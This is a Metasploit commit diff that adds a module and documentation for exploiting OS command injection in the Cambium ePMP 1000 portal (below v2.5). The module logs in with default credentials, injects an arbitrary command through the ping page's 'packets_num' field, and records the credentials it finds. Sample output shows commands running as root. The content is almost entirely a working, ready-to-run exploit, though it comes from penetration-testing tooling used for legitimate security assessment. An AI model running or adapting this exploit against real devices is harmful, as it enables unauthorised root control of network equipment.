Land rapid7#8163, Add Cambium ePMP Arbitrary Command Execution

wwebb-r7 · wwebb-r7 · commit f870f94fa967 · 2017-03-31T19:06:19.000-05:00
diff --git a/documentation/modules/auxiliary/scanner/http/epmp1000_cmd_exec.md b/documentation/modules/auxiliary/scanner/http/epmp1000_cmd_exec.md
@@ -0,0 +1,27 @@
+This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to execute arbitrary system commands.
+
+## Verification Steps
+
+1. Do: ```use auxiliary/scanner/http/epmp1000_cmd_exec```
+2. Do: ```set RHOSTS [IP]```
+3. Do: ```set RPORT [PORT]```
+4. Do: ```run```
+
+## Sample Output
+
+  ```
+msf > use auxiliary/scanner/http/epmp1000_cmd_exec
+msf auxiliary(epmp1000_cmd_exec) > set rhosts 1.3.3.7
+msf auxiliary(epmp1000_cmd_exec) > set rport 80
+msf auxiliary(epmp1000_cmd_exec) > run
+
+[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 2.2...
+[*] 1.3.3.7:80 - Attempting to login...
+[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
+[*] 1.3.3.7:80 - Executing id; pwd
+uid=0(root) gid=0(root)
+/www/cgi-bin
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+
+  ```
diff --git a/modules/auxiliary/scanner/http/epmp1000_cmd_exec.rb b/modules/auxiliary/scanner/http/epmp1000_cmd_exec.rb
@@ -0,0 +1,265 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::AuthBrute
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'        => 'Cambium ePMP 1000 (up to v2.5) Arbitrary Command Execution',
+      'Description' => %{
+          This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to execute arbitrary system commands.
+      },
+      'References' =>
+        [
+          ['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
+          ['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
+        ],
+      'Author' =>
+        [
+          'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
+        ],
+      'License' => MSF_LICENSE,
+      'DefaultOptions' => { 'VERBOSE' => true })
+    )
+
+    register_options(
+      [
+        Opt::RPORT(80),	# Application may run on a different port too. Change port accordingly.
+        OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
+        OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer']),
+        OptString.new('CMD', [true, 'Command(s) to run', 'id; pwd'])
+      ], self.class
+    )
+  end
+
+  def run_host(ip)
+    unless is_app_epmp1000?
+      return
+    end
+
+    each_user_pass do |user, pass|
+      do_login(user, pass)
+    end
+  end
+
+  def report_cred(opts)
+    service_data = {
+      address: opts[:ip],
+      port: opts[:port],
+      service_name: opts[:service_name],
+      protocol: 'tcp',
+      workspace_id: myworkspace_id
+    }
+
+    credential_data = {
+      origin_type: :service,
+      module_fullname: fullname,
+      username: opts[:user],
+      private_data: opts[:password],
+      private_type: :password
+    }.merge(service_data)
+
+    login_data = {
+      last_attempted_at: Time.now,
+      core: create_credential(credential_data),
+      status: Metasploit::Model::Login::Status::SUCCESSFUL,
+      proof: opts[:proof]
+    }.merge(service_data)
+
+    create_credential_login(login_data)
+  end
+
+  #
+  # Check if App is Cambium ePMP 1000
+  #
+
+  def is_app_epmp1000?
+    begin
+      res = send_request_cgi(
+        {
+          'uri'       => '/',
+          'method'    => 'GET'
+        }
+      )
+
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
+      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
+      return false
+    end
+
+    good_response = (
+      res &&
+      res.code == 200 &&
+      res.headers['Server'] &&
+      (res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
+    )
+
+    if good_response
+      get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
+      if !get_epmp_ver.nil?
+        epmp_ver = get_epmp_ver[1]
+        if !epmp_ver.nil?
+          print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
+          if "#{epmp_ver}" >= '2.5'
+            print_error('This ePMP version is not vulnerable. Module will not continue.')
+            return false
+          else
+            return true
+          end
+        else
+          print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
+          return true
+        end
+      end
+    else
+      print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
+      return false
+    end
+  end
+
+  #
+  # Execute arbitrary command(s)
+  #
+
+  def do_login(user, pass)
+    print_status("#{rhost}:#{rport} - Attempting to login...")
+    begin
+      res = send_request_cgi(
+        {
+          'uri' => '/cgi-bin/luci',
+          'method' => 'POST',
+          'headers' => {
+            'X-Requested-With' => 'XMLHttpRequest',
+            'Accept' => 'application/json, text/javascript, */*; q=0.01'
+          },
+          'vars_post' =>
+            {
+              'username' => 'dashboard',
+              'password' => ''
+            }
+        }
+      )
+
+      good_response = (
+        res &&
+        res.code == 200 &&
+        res.headers.include?('Set-Cookie') &&
+        res.headers['Set-Cookie'].include?('sysauth')
+      )
+
+      if good_response
+        sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
+
+        cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
+
+        res = send_request_cgi(
+          {
+            'uri' => '/cgi-bin/luci',
+            'method' => 'POST',
+            'cookie' => cookie1,
+            'headers' => {
+              'X-Requested-With' => 'XMLHttpRequest',
+              'Accept' => 'application/json, text/javascript, */*; q=0.01',
+              'Connection' => 'close'
+            },
+            'vars_post' =>
+              {
+                'username' => user,
+                'password' => pass
+              }
+          }
+        )
+
+      end
+
+      good_response = (
+        res &&
+        res.code == 200 &&
+        res.headers.include?('Set-Cookie') &&
+        res.headers['Set-Cookie'].include?('stok=')
+      )
+
+      if good_response
+        print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
+
+        report_cred(
+          ip: rhost,
+          port: rport,
+          service_name: 'Cambium ePMP 1000',
+          user: user,
+          password: pass
+        )
+
+        get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
+        if !get_stok.nil?
+          stok_value = get_stok[1]
+          sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
+
+          cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
+
+          uri1 = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/ping'
+          command = datastore['CMD']
+          inject = '|' + "#{command}" + ' ||'
+          clean_inject = CGI.unescapeHTML(inject.to_s)
+
+          print_status("#{rhost}:#{rport} - Executing #{command}")
+
+          res = send_request_cgi(
+            {
+              'uri' => uri1,
+              'method' => 'POST',
+              'cookie' => cookie2,
+              'headers' => {
+                'Accept' => '*/*',
+                'Accept-Language' => 'en-US,en;q=0.5',
+                'Accept-Encoding' => 'gzip, deflate',
+                'X-Requested-With' => 'XMLHttpRequest',
+                'ctype' => '*/*',
+                'Connection' => 'close'
+              },
+              'vars_post' =>
+                {
+                  'ping_ip' => '8.8.8.8',
+                  'packets_num' => clean_inject,
+                  'buf_size' => 0,
+                  'ttl' => 1,
+                  'debug' => '0'
+                }
+            }
+          )
+
+          vprint_line("#{res.body}")
+
+          # Extract ePMP version
+          res = send_request_cgi(
+            {
+              'uri' => '/',
+              'method' => 'GET'
+            }
+          )
+
+          epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
+
+          report_cred(
+            ip: rhost,
+            port: rport,
+            service_name: "Cambium ePMP 1000 v#{epmp_ver}",
+            user: user,
+            password: pass
+          )
+        else
+          # Login failed
+          print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
+        end
+      end
+    end
+  end
+end
